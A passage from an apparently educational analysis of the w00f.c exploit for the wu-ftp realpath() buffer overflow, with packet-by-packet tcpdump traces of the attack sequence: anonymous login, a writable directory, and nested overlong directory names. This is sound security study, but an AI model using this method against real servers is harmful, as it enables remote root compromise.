This is of limited use by itself, because all the exploit can do is send the program to some other part of itself; in most cases, the program will not have any code already in it to give us root access. However, the return address can also be set to jump back into the data we just wrote into memory (the long string which overflowed the buffer.) Therefore, the overflowing code can contain instructions to, for example, start a shell with the permissions of the current process.

The man page for *strcpy()* that came with the Linux Mandrake system which had the vulnerable version of wu-ftp even warns about this possibility:

If the destination string of a strcpy() is not large enough (that is, if the programmer was stupid/lazy, and failed to check the size before copying) then anything might happen. Overflowing fixed length strings is a favourite cracker technique.

Description of wu-ftp's bug

In realpath.c in wu-ftp's code, there are several C *strcpy()* functions that operate on the directory path name. In the vulnerable version of wu-ftp, these do not perform bounds checking, and therefore if an unusually long directory path is used, an overflow can occur.

To exploit this, one needs to have permission to create directories. This can be achieved by either being a valid user on the system, in which case one would have permission to create directories in one's home directory, or by having an "incoming" directory that anonymous users can write to. To perform the exploit, I created an incoming directory and gave all users write access to it.

The exploit connects to the FTP server, changes to the writeable directory, and then creates several unusually long directories, one under the other. Each directory is the same random capital letter repeated 194 times. The last directory name is actually the code to be executed. When the FTP server calls its *realpath* function in an attempt to parse this directory path, the *realpath* function overflows the buffer. When *realpath* finishes, the processor jumps to the exploit code, which gives us a shell.

Running the exploit:

The w00f.c exploit was actually not designed for the exact version of wu-ftp that ships with Linux Mandrake. The exploit comes with 2 different bits of executable code it can insert, one which has "chroot code" and one which doesn't. The exploit does not go into detail, but this is presumably code to break out of a "chroot jail," where the process's "root" directory is not the true "/" directory on the server. wu-ftp-2.4.2-beta18, according to the instructions, does not need the chroot code. However, after attempting several options, it appears that they are referring to wu-ftp beta 18 for RedHat 5.2; the version of beta 18 that shipped with Mandrake 5.3 does need the chroot code.

Below is a tcpdump trace of the exploit in action. The raw hex data was processed with the *tcpdump2ascii* program to make the packet contents more readable. For packets where the content was not important (initial handshake, ACKs with no data, etc.) only the tcpdump header information for the packet was included. Also note that the machine used to launch the attack was also the machine running the FTP server. The attack does not rely on any local abilities, though, so it would have performed in exactly the same manner if it had been run remotely.

Standard 3-way handshake as we connect to the FTP server:

```
14:47:22.508551 linux.herschel.2699 > linux.herschel.ftp: S 3003400430:3003400430(0) win 512 14:47:22.508551 linux.herschel.ftp > linux.herschel.269
```

The FTP server sends its banner:

```
14:47:22.548551 linux.herschel.ftp > linux.herschel.2699: P 1:105(104) ack 1 win 32736 (DF) [tos 0x10]
4510 0090 3a4d 4000 4006 d72f 0a0a 0a64  |  E . . . : M @ . @ . . / \n\n\nd
0a0a 0a64 0015 0a8b b681 7123 b304 40ef  |  \n\n\nd . . \n. . . q # . . @ .
5018 7fe0 7a8a 0000 3232 3020 6c69 6e75  |  P . . . z . . . 2 2 0   l i n u
782e 6865 7273 6368 656c 2046 5450 2073  |  x . h e r s c h e l   F T P   s
6572 7665 7220 2856 6572 7369 6f6e 2077  |  e r v e r   ( V e r s i o n   w
752d 322e 342e 322d 6163 6164 656d 5b42  |  u - 2 . 4 . 2 - a c a d e m [ B
4554 412d 3138 5d28 3129 204d 6f6e 2041  |  E T A - 1 8 ] ( 1 )   M o n   A
7567 2033 2031 393a 3137 3a32 3020 4544  |  u g   3   1 9 : 1 7 : 2 0   E D
5420 3139 3938 2920 7265 6164 792e 0d0a  |  T   1 9 9 8 )   r e a d y . \r\n
```

We log in as an anonymous user:

```
14:47:22.548551 linux.herschel.2699 > linux.herschel.ftp: P 1:16(15) ack 105 win 31896 (DF)
4500 0037 3a4e 4000 4006 d797 0a0a 0a64  |  E . . 7 : N @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 40ef b681 718b  |  \n\n\nd \n. . . . . @ . . . q .
5018 7c98 5ed6 0000 5553 4552 2061 6e6f  |  P . . . ^ . . . U S E R   a n o
6e79 6d6f 7573 0a-- ---- ---- ---- ----  |  n y m o u s \n. . . . . .
```

The server says that anonymous access is allowed, and asks for our password:

```
14:47:22.558551 linux.herschel.ftp > linux.herschel.2699: P 105:173(68) ack 16 win 32736 (DF) [tos 0x10]
4510 006c 3a4f 4000 4006 d751 0a0a 0a64  |  E . . l : O @ . @ . . Q \n\n\nd
0a0a 0a64 0015 0a8b b681 718b b304 40fe  |  \n\n\nd . . \n. . . q . . . @ .
5018 7fe0 f677 0000 3333 3120 4775 6573  |  P . . . . w . . 3 3 1   G u e s
7420 6c6f 6769 6e20 6f6b 2c20 7365 6e64  |  t   l o g i n   o k ,   s e n d
2079 6f75 7220 636f 6d70 6c65 7465 2065  |    y o u r   c o m p l e t e   e
2d6d 6169 6c20 6164 6472 6573 7320 6173  |  - m a i l   a d d r e s s   a s
2070 6173 7377 6f72 642e 0d0a ---- ----  |    p a s s w o r d . \r\n. . . .
```

We're just using a password of 'pass'; since we're connecting as anonymous, any password will be accepted:

```
14:47:22.558551 linux.herschel.2699 > linux.herschel.ftp: P 16:26(10) ack 173 win 31896 (DF)
4500 0032 3a50 4000 4006 d79a 0a0a 0a64  |  E . . 2 : P @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 40fe b681 71cf  |  \n\n\nd \n. . . . . @ . . . q .
5018 7c98 4ad8 0000 5041 5353 2070 6173  |  P . . . J . . . P A S S   p a s
730a ---- ---- ---- ---- ---- ---- ----  |  s \n. . . . . .
```

The server isn't thrilled about our password...

```
14:47:22.558551 linux.herschel.ftp > linux.herschel.2699: P 173:211(38) ack 26 win 32736 (DF) [tos 0x10]
4510 004e 3a51 4000 4006 d76d 0a0a 0a64  |  E . . N : Q @ . @ . . m \n\n\nd
0a0a 0a64 0015 0a8b b681 71cf b304 4108  |  \n\n\nd . . \n. . . q . . . A .
5018 7fe0 de96 0000 3233 302d 5468 6520  |  P . . . . . . 2 3 0 - T h e
7265 7370 6f6e 7365 2027 7061 7373 2720  |  r e s p o n s e   ' p a s s '
6973 206e 6f74 2076 616c 6964 0d0a ----  |  i s   n o t   v a l i d \r\n. .

14:47:22.578551 linux.herschel.2699 > linux.herschel.ftp: . ack 211 win 31896 (DF)
```

...but will accept it, even though it would have preferred a valid e-mail address:

```
14:47:22.578551 linux.herschel.ftp > linux.herschel.2699: P 211:367(156) ack 26 win 32736 (DF) [tos 0x10]
4510 00c4 3a53 4000 4006 d6f5 0a0a 0a64  |  E . . . : S @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 71f5 b304 4108  |  \n\n\nd . . \n. . . q . . . A .
5018 7fe0 6f4c 0000 3233 302d 4e65 7874  |  P . . . o L . . 2 3 0 - N e x t
2074 696d 6520 706c 6561 7365 2075 7365  |    t i m e   p l e a s e   u s e
```

```
2079 6f75 7220 652d 6d61 696c 2061 6464  |    y o u r   e - m a i l   a d d
7265 7373 2061 7320 796f 7572 2070 6173  |  r e s s   a s   y o u r   p a s
7377 6f72 640d 0a32 3330 2d20 2020 2020  |  s w o r d \r\n2 3 0 -
2020 2066 6f72 2065 7861 6d70 6c65 3a20  |        f o r   e x a m p l e :
6a6f 6540 6c69 6e75 782e 6865 7273 6368  |  j o e @ l i n u x . h e r s c h
656c 0d0a 3233 3020 4775 6573 7420 6c6f  |  e l \r\n2 3 0   G u e s t   l o
6769 6e20 6f6b 2c20 6163 6365 7373 2072  |  g i n   o k ,   a c c e s s   r
6573 7472 6963 7469 6f6e 7320 6170 706c  |  e s t r i c t i o n s   a p p l
792e 0d0a ---- ---- ---- ---- ---- ----  |  y . \r\n. . . . . . . . . . . .
```

We change to the incoming directory, which is writeable by anonymous users:

```
14:47:22.578551 linux.herschel.2699 > linux.herschel.ftp: P 26:39(13) ack 367 win 31896 (DF)
4500 0035 3a54 4000 4006 d793 0a0a 0a64  |  E . . 5 : T @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 4108 b681 7291  |  \n\n\nd \n. . . . . A . . . r .
5018 7c98 a865 0000 4357 4420 696e 636f  |  P . . . . e . . C W D   i n c o
6d69 6e67 0a-- ---- ---- ---- ---- ----  |  m i n g \n. . . . . . . . . . .
```

The server informs us that the CWD (Change Working Directory) command was successful:

```
14:47:22.578551 linux.herschel.ftp > linux.herschel.2699: P 367:396(29) ack 39 win 32736 (DF) [tos 0x10]
4510 0045 3a55 4000 4006 d772 0a0a 0a64  |  E . . E : U @ . @ . . r \n\n\nd
0a0a 0a64 0015 0a8b b681 7291 b304 4115  |  \n\n\nd . . \n. . . r . . . A .
5018 7fe0 01c2 0000 3235 3020 4357 4420  |  P . . . . . . . 2 5 0   C W D
636f 6d6d 616e 6420 7375 6363 6573 7366  |  c o m m a n d   s u c c e s s f
756c 2e0d 0a-- ---- ---- ---- ---- ----  |  u l . \r\n. . . . . . . . . . .
```

The exploit checks for the current directory (PWD - Print Working Directory). In the source code for the exploit, one can see that it computes the length of the directory returned by the server (in its *parse_pwd()* function), and uses that value later to compute how many characters it needs to add to the path:

```
14:47:22.578551 linux.herschel.2699 > linux.herschel.ftp: P 39:43(4) ack 396 win 31896 (DF)
4500 002c 3a56 4000 4006 d79a 0a0a 0a64  |  E . . , : V @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 4115 b681 72ae  |  \n\n\nd \n. . . . . A . . . r .
5018 7c98 4e09 0000 5057 440a ---- ----  |  P . . . N \t. . P W D \n. . . .

14:47:22.578551 linux.herschel.ftp > linux.herschel.2699: P 396:435(39) ack 43 win 32736 (DF) [tos 0x10]
4510 004f 3a57 4000 4006 d766 0a0a 0a64  |  E . . O : W @ . @ . . f \n\n\nd
0a0a 0a64 0015 0a8b b681 72ae b304 4119  |  \n\n\nd . . \n. . . r . . . A .
5018 7fe0 9a55 0000 3235 3720 222f 696e  |  P . . . . U . . 2 5 7   " / i n
636f 6d69 6e67 2220 6973 2063 7572 7265  |  c o m i n g "   i s   c u r r e
6e74 2064 6972 6563 746f 7279 2e0d 0a--  |  n t   d i r e c t o r y . \r\n.
```

The exploit starts creating directories with long names, using the MKD (MaKe Directory) FTP command:

```
14:47:22.578551 linux.herschel.2699 > linux.herschel.ftp: P 43:242(199) ack 435 win 31896 (DF)
4500 00ef 3a58 4000 4006 d6d5 0a0a 0a64  |  E . . . : X @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 4119 b681 72d5  |  \n\n\nd \n. . . . . A . . . r .
5018 7c98 440f 0000 4d4b 4420 4747 4747  |  P . . . D . . . M K D   G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 0a--  |  G G G G G G G G G G G G G G G \n.
```

The server reports that the directory was created successfully:

```
14:47:22.588551 linux.herschel.ftp > linux.herschel.2699: P 435:670(235) ack 242 win 32736 (DF) [tos 0x10]
4510 0113 3a59 4000 4006 d6a0 0a0a 0a64  |  E . . . : Y @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 72d5 b304 41e0  |  \n\n\nd . . \n. . . r . . . A .
5018 7fe0 8a3b 0000 3235 3720 222f 696e  |  P . . . . ; . . 2 5 7   " / i n
636f 6d69 6e67 2f47 4747 4747 4747 4747  |  c o m i n g / G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4722 206e 6577 2064  |  G G G G G G G G G "   n e w   d
6972 6563 746f 7279 2063 7265 6174 6564  |  i r e c t o r y   c r e a t e d
2e0d 0a-- ---- ---- ---- ---- ---- ----  |  . \r\n. . . . . . . . . . . . .
```

The exploit changes the current directory into the newly-created one:

```
14:47:22.588551 linux.herschel.2699 > linux.herschel.ftp: P 242:441(199) ack 670 win 31896 (DF)
4500 00ef 3a5a 4000 4006 d6d3 0a0a 0a64  |  E . . . : Z @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 41e0 b681 73c0  |  \n\n\nd \n. . . . . A . . . s .
5018 7c98 4c51 0000 4357 4420 4747 4747  |  P . . . L Q . . C W D   G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
```

```
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 0a--  |  G G G G G G G G G G G G G G \n.
```

The server reports that the directory change request was successful:

```
14:47:22.588551 linux.herschel.ftp > linux.herschel.2699: P 670:699(29) ack 441 win 32736 (DF) [tos 0x10]
4510 0045 3a5b 4000 4006 d76c 0a0a 0a64  |  E . . E : [ @ . @ . . l \n\n\nd
0a0a 0a64 0015 0a8b b681 73c0 b304 42a7  |  \n\n\nd . . \n. . . s . . . B .
5018 7fe0 ff00 0000 3235 3020 4357 4420  |  P . . . . . . . 2 5 0   C W D
636f 6d6d 616e 6420 7375 6363 6573 7366  |  c o m m a n d   s u c c e s s f
756c 2e0d 0a-- ---- ---- ---- ---- ----  |  u l . \r\n. . . . . . . . . . .
```

The exploit creates the second directory:

```
14:47:22.588551 linux.herschel.2699 > linux.herschel.ftp: P 441:640(199) ack 699 win 31896 (DF)
4500 00ef 3a5c 4000 4006 d6d1 0a0a 0a64  |  E . . . : \ @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 42a7 b681 73dd  |  \n\n\nd \n. . . . . B . . . s .
5018 7c98 5a92 0000 4d4b 4420 4c4c 4c4c  |  P . . . Z . . . M K D   L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0a--  |  L L L L L L L L L L L L L L \n.

14:47:22.598551 linux.herschel.ftp > linux.herschel.2699: P 699:1129(430) ack 640 win 32736 (DF) [tos 0x10]
4510 01d6 3a5d 4000 4006 d5d9 0a0a 0a64  |  E . . . : ] @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 73dd b304 436e  |  \n\n\nd . . \n. . . s . . . C n
5018 7fe0 b2b5 0000 3235 3720 222f 696e  |  P . . . . . . . 2 5 7   " / i n
636f 6d69 6e67 2f47 4747 4747 4747 4747  |  c o m i n g / G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 472f 4c4c 4c4c 4c4c  |  G G G G G G G G G / L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 2220 6e65  |  L L L L L L L L L L L L "   n e
7720 6469 7265 6374 6f72 7920 6372 6561  |  w   d i r e c t o r y   c r e a
7465 642e 0d0a ---- ---- ---- ---- ----  |  t e d . \r\n. . . . . . . . . .
```

...And changes the current directory to the new one:

```
14:47:22.598551 linux.herschel.2699 > linux.herschel.ftp: P 640:839(199) ack 1129 win 31896 (DF)
4500 00ef 3a5e 4000 4006 d6cf 0a0a 0a64  |  E . . . : ^ @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 436e b681 758b  |  \n\n\nd \n. . . . . C n . . u .
5018 7c98 6211 0000 4357 4420 4c4c 4c4c  |  P . . . b . . . C W D   L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0a--  |  L L L L L L L L L L L L L L \n.

14:47:22.598551 linux.herschel.ftp > linux.herschel.2699: P 1129:1158(29) ack 839 win 32736 (DF) [tos 0x10]
4510 0045 3a5f 4000 4006 d768 0a0a 0a64  |  E . . E : _ @ . @ . . h \n\n\nd
0a0a 0a64 0015 0a8b b681 758b b304 4435  |  \n\n\nd . . \n. . . u . . . D 5
5018 7fe0 fba7 0000 3235 3020 4357 4420  |  P . . . . . . . 2 5 0   C W D
636f 6d6d 616e 6420 7375 6363 6573 7366  |  c o m m a n d   s u c c e s s f
756c 2e0d 0a-- ---- ---- ---- ---- ----  |  u l . \r\n. . . . . . . . . . .
```

We make the third directory:

```
14:47:22.598551 linux.herschel.2699 > linux.herschel.ftp: P 839:1038(199) ack 1158 win 31896 (DF)
4500 00ef 3a60 4000 4006 d6cd 0a0a 0a64  |  E . . . : ` @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 4435 b681 75a8  |  \n\n\nd \n. . . . . D 5 . . u .
5018 7c98 c6a8 0000 4d4b 4420 5858 5858  |  P . . . . . . . M K D   X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
```

```
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 0a--  |  X X X X X X X X X X X X X X \n.

14:47:22.608551 linux.herschel.ftp > linux.herschel.2699: P 1158:1783(625) ack 1038 win 32736 (DF) [tos 0x10]
4510 0299 3a61 4000 4006 d512 0a0a 0a64  |  E . . . : a @ . @ . . . \n\n\nd
0a0a 0a64 0015 0a8b b681 75a8 b304 44fc  |  \n\n\nd . . \n. . . u . . . D .
5018 7fe0 f134 0000 3235 3720 222f 696e  |  P . . . . 4 . . 2 5 7   " / i n
636f 6d69 6e67 2f47 4747 4747 4747 4747  |  c o m i n g / G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 4747 4747 4747 4747  |  G G G G G G G G G G G G G G G G
4747 4747 4747 4747 472f 4c4c 4c4c 4c4c  |  G G G G G G G G G / L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  |  L L L L L L L L L L L L L L L L
4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 2f58 5858  |  L L L L L L L L L L L L / X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5822  |  X X X X X X X X X X X X X X X "
206e 6577 2064 6972 6563 746f 7279 2063  |    n e w   d i r e c t o r y   c
7265 6174 6564 2e0d 0a-- ---- ---- ----  |  r e a t e d . \r\n. . . . . . .
```

We change into the third directory:

```
14:47:22.608551 linux.herschel.2699 > linux.herschel.ftp: P 1038:1237(199) ack 1783 win 31896 (DF)
4500 00ef 3a62 4000 4006 d6cb 0a0a 0a64  |  E . . . : b @ . @ . . . \n\n\nd
0a0a 0a64 0a8b 0015 b304 44fc b681 7819  |  \n\n\nd \n. . . . . D . . . x .
5018 7c98 cd64 0000 4357 4420 5858 5858  |  P . . . . d . . C W D   X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
5858 5858 5858 5858 5858 5858 5858 5858  |  X X X X X X X X X X X X X X X X
